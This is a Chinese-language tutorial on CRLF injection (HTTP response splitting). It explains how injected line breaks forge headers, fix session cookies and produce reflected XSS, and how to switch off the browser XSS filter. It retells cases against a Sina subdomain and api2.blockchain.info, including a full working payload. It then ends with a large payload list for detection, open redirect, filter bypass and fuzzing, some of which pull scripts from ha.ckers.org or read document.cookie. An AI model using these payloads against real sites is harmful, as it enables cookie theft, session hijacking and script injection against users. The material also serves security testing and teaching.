CRLF漏洞

CRLF背景

CRLF是”回车 + 换行”(\r\n)的简称,指的是回车符(CR,ASCII 13,\r,%0d) 和换行符(LF,ASCII 10,\n,%0a)。 在HTTP协议中,HTTP Header与HTTP Body是用两个CRLF分隔的,浏览器就是根据这两个CRLF来取出HTTP 内容并显示出来。所以,一旦我们能够控制HTTP 消息头中的字符,注入一些恶意的换行,这样我们就能注入一些会话Cookie或者HTML代码,所以CRLF Injection又叫HTTP Response Splitting,简称HRS(HTTP相应拆分漏洞)

CRLF举例

一般网站会在HTTP头中用Location: http://xxx.com这种方式来进行302跳转,所以我们能控制的内容就是Location:后面的XXX某个网址。

正常的302跳转包如下

1
2
3
4
5
6
HTTP/1.1 302 Moved Temporarily
Date: Fri, 27 Jun 2019 17:52:17 GMT
Content-Type: text/html
Content-Length: 154
Connection: close
Location: http://www.lsowl.top

如果输入的是

1
http://www.lsowl.top%0aSet-cookie:JSPSESSID%3Dtest

注入了一个换行,此时的返回包就会变成这样:

1
2
3
4
5
6
7
HTTP/1.1 302 Moved Temporarily
Date: Fri, 27 Jun 2019 17:52:17 GMT
Content-Type: text/html
Content-Length: 154
Connection: close
Location: http://www.lsowl.top
Set-cookie: JSPSESSID=test

此时就会产生会话固定漏洞, HRS并不仅限于会话固定,通过注入两个CRLF就能造成一个无视浏览器Filter的反射型XSS。

例如:一个网站进行URL跳转的参数链接如下 http://www.lsowl.top/?url=xxx,xxx放在Location后面作为一个跳转。如果我们输入的是

1
http://www.lsowl.top/?url=%0d%0a%0d%0a<img src=1 onerror=alert(/xss/)>

返回包会变成如下的样子

1
2
3
4
5
6
7
HTTP/1.1 302 Moved Temporarily
Date: Fri, 27 Jun 2019 17:52:17 GMT
Content-Type: text/html
Content-Length: 154
Connection: close
Location:
<img src=1 onerror=alert(/xss/)>

这样浏览器会根据第一个 CRLF把HTTP包分成头和体,然后将体显示出来就会构造成一个XSS

还可以输入

1
%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2047%0d%0a%0d%0a<script>alert(1)</script>

Content-Length:0 代表header 的结尾,返回包会变成这个样子

1
2
3
4
5
6
7
HTTP/1.1 200 OK
Connection: keep-alive
Content-Encoding: deflate
xxxxxxxx
Locations=https://baidu.com
Content-Length: 0
<script>alert(1)</script>

触发漏洞

CRLF绕过浏览器xss-filte

浏览器的Filter是浏览器应对一些反射型XSS做的保护策略,当url中含有XSS相关特征的时候就会过滤掉不显示在页面中,所以不能触发XSS。 关掉filter?一般来说用户这边是不行的,只有数据包中http头含有X-XSS-Protection并且值为0的时候,浏览器才不会开启filter。

所以在绕过时只需要将 X-XSS-Protection:0注入到数据包中,再用两个CRLF来注入XSS代码,这样就成功地绕过了浏览器filter,并且执行我们的反射型XSS。

CRLF挖掘

通过修改HTTP参数或URL,注入恶意的CRLF,查看构造的恶意数据是否在响应头中输出。 注意输入点和输出点, 提交%0D%0A字符,验证服务器是否响应%0D%0A,若过滤可以通过双重编码绕过 , 漏洞利用,使杀伤最大化,将漏洞转化为HTML注入,XSS等。

CRLF案例

案例一

实际中没有碰见过,这里贴P牛以前的实例

新浪某分站含有一个url跳转漏洞+CRLF

1
http://xxx.sina.com.cn/?url=%0a%0d%0a%0d%3Cimg%20src=1%3E

加入 CRLF Injection 时注入成功, 图片已经输出在页面中

测试XSS

查看控制台,被XSS Filter拦截,此时注入X-XSS-Protection:0

用字符编码来绕过XSS Filter,当编码是is-2022-kr时浏览器会忽略%0f,这样我们在onerror后面加个%0f就能绕过filter,前提是注入一个 <meta charset=ISO-2022-KR>

案例二

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
GET /charts/total-bitcoins?cors=true&format=csv&lang=english HTTP/1.1
Host: api.blockchain.info
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Upgrade-Insecure-Requests: 1
HTTP/2.0 200 OK
date: Tue, 31 Oct 2017 15:47:21 GMT
content-type: text/csv; charset=ascii
content-length: 10953
access-control-allow-origin: *
cache-control: public, max-age=60
content-disposition: attachment; filename="total-bitcoins.csv"
content-language: english
"lang"参数出现在了返回包里
现在为了注入CRLF 我们需要url编码一下\r\n "%0D%0A"
据此发送如下请求
https://api2.blockchain.info/charts/total-bitcoins?cors=true&format=csv&lang=en%0ATEST
新的header出现在了返回包里
这里存在CRLF注入漏洞 ,这样可以进行利用CRLF漏洞去执行JavaScript代码,去盗取cookie
最终的Payload
https://api2.blockchain.info/charts/total-bitcoins?cors=true&format=csv&lang=en%0AX-XSS-Protection:0%0AContent-Type:text/html%0AContent-Length:35%0A%0A%3Csvg%20onload%3Dalert%28document.domain%29%3E&__cf_waf_tk__=012853002E6loVIOSyqHfdxrvHJ87MshEnZI

CRLF修复

修复HRS漏洞,过滤\r 、\n之类的换行符,避免输入的数据污染到其他HTTP头。

CRLF-PAYLOAD

探测漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
%0d%0aheader:header

%0aheader:header

%0dheader:header

%23%0dheader:header

%3f%0dheader:header

/%250aheader:header

/%250aheader:header

/%%0a0aheader:header

/%3f%0dheader:header

/%23%0dheader:header

/%25%30aheader:header

/%25%30%61header:header

/%u000aheader:header

开放重定向

1
/www.google.com/%2f%2e%2e%0d%0aheader:header

CRLF-XSS

1
%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23%0d%0a<svg%20onload=alert(document.domain)>%0d%0a0%0d%0a/%2e%2e

XSS绕过

1
%2Fxxx:1%2F%0aX-XSS-Protection:0%0aContent-Type:text/html%0aContent-Length:39%0a%0a%3cscript%3ealert(document.cookie)%3c/

Location

1
%0d%0aContent-Type:%20text%2fhtml%0d%0aHTTP%2f1.1%20200%20OK%0d%0aContent-Type:%20text%2fhtml%0d%0a%0d%0a%3Cscript%3Ealert('XSS');%3C%2fscript%3E

其它一些FUZZ的payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
%0d%0a
%0d%0a%0d%0a
r%0d%0aContentLength:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContentType:%20text/html%0d%0aContentLength:%2019%0d%0a%0d%0a<html>Injected%02Content</html>
%0d%0d%0a%0a
0x0D0x0A
0x0D0x0D0x0A0x0A
\r\n
%5cr%5cn
%0%0d%0ad%0%0d%0aa
%0%0D%0AD%0%0D%0AA
%0d%0aContentType:%20text/html;charset=UTF-7%0d%0aContent-Length:%20129%0d%0a%0d%0a%2BADw-html%2BAD4-%2BADw-body%2BAD4-%2BADw-script%2BAD4-alert%28%27XSS,cookies:%27%2Bdocument.cookie%29%2BADw-/script%2BAD4-%2BADw-/body%2BAD4-%2BADw-/html%2BAD4
%0AContent-Type:html%0A%0A%3Cscript%3Ealert(%22XSS%22)%3C/script%3E
%0A%0A%3Cscript%3Ealert(%22XSS%22)%3C/script%3E
%0AContent-Type:html%0A%0A%3Cscript%3Ealert(%22XSS%22)%3C/script%3Ehttp://www.test.com
%0d%0a%0d%0a%3Chtml%3E%3Cbody%3E%3C%2Fbody%3E%3Cscript+src%3Dhttp%3A%2F%2Fha.ckers.org%2Fs.js%3E%3C%2Fscript%3E%3Cscript%3Ealert(%22location.host%20is:%20%22%2Blocation.host)%3C%2Fscript%3E%3C%2Fhtml%3E
%0d%0a%0d%0a%3Cscript+src%3Dhttp%3A%2F%2Fha.ckers.org%2Fxss.js%3E%3C%2Fscript%3E
%22%3E%0A%0A%3Cscript%3Ealert(%22XSS%22)%3C/script%3E%3C%22
%0AContent-type:%20text/html%0A%0Ahttp://www.test.com/%3Cscript%3Ealert(%22XSS%22)%3C/script%3E
%0d%0a%0d%0a%3Cscript%3Ealert(%22XSS%22)%3C%2Fscript%3E
%0A%0A%3Cscript%3Ealert(%22XSS%22)%3C/script%3E

参考

http://www.anquan.us/static/drops/papers-2466.html

https://cloud.tencent.com/developer/article/1516335

https://c1h2e1.github.io/#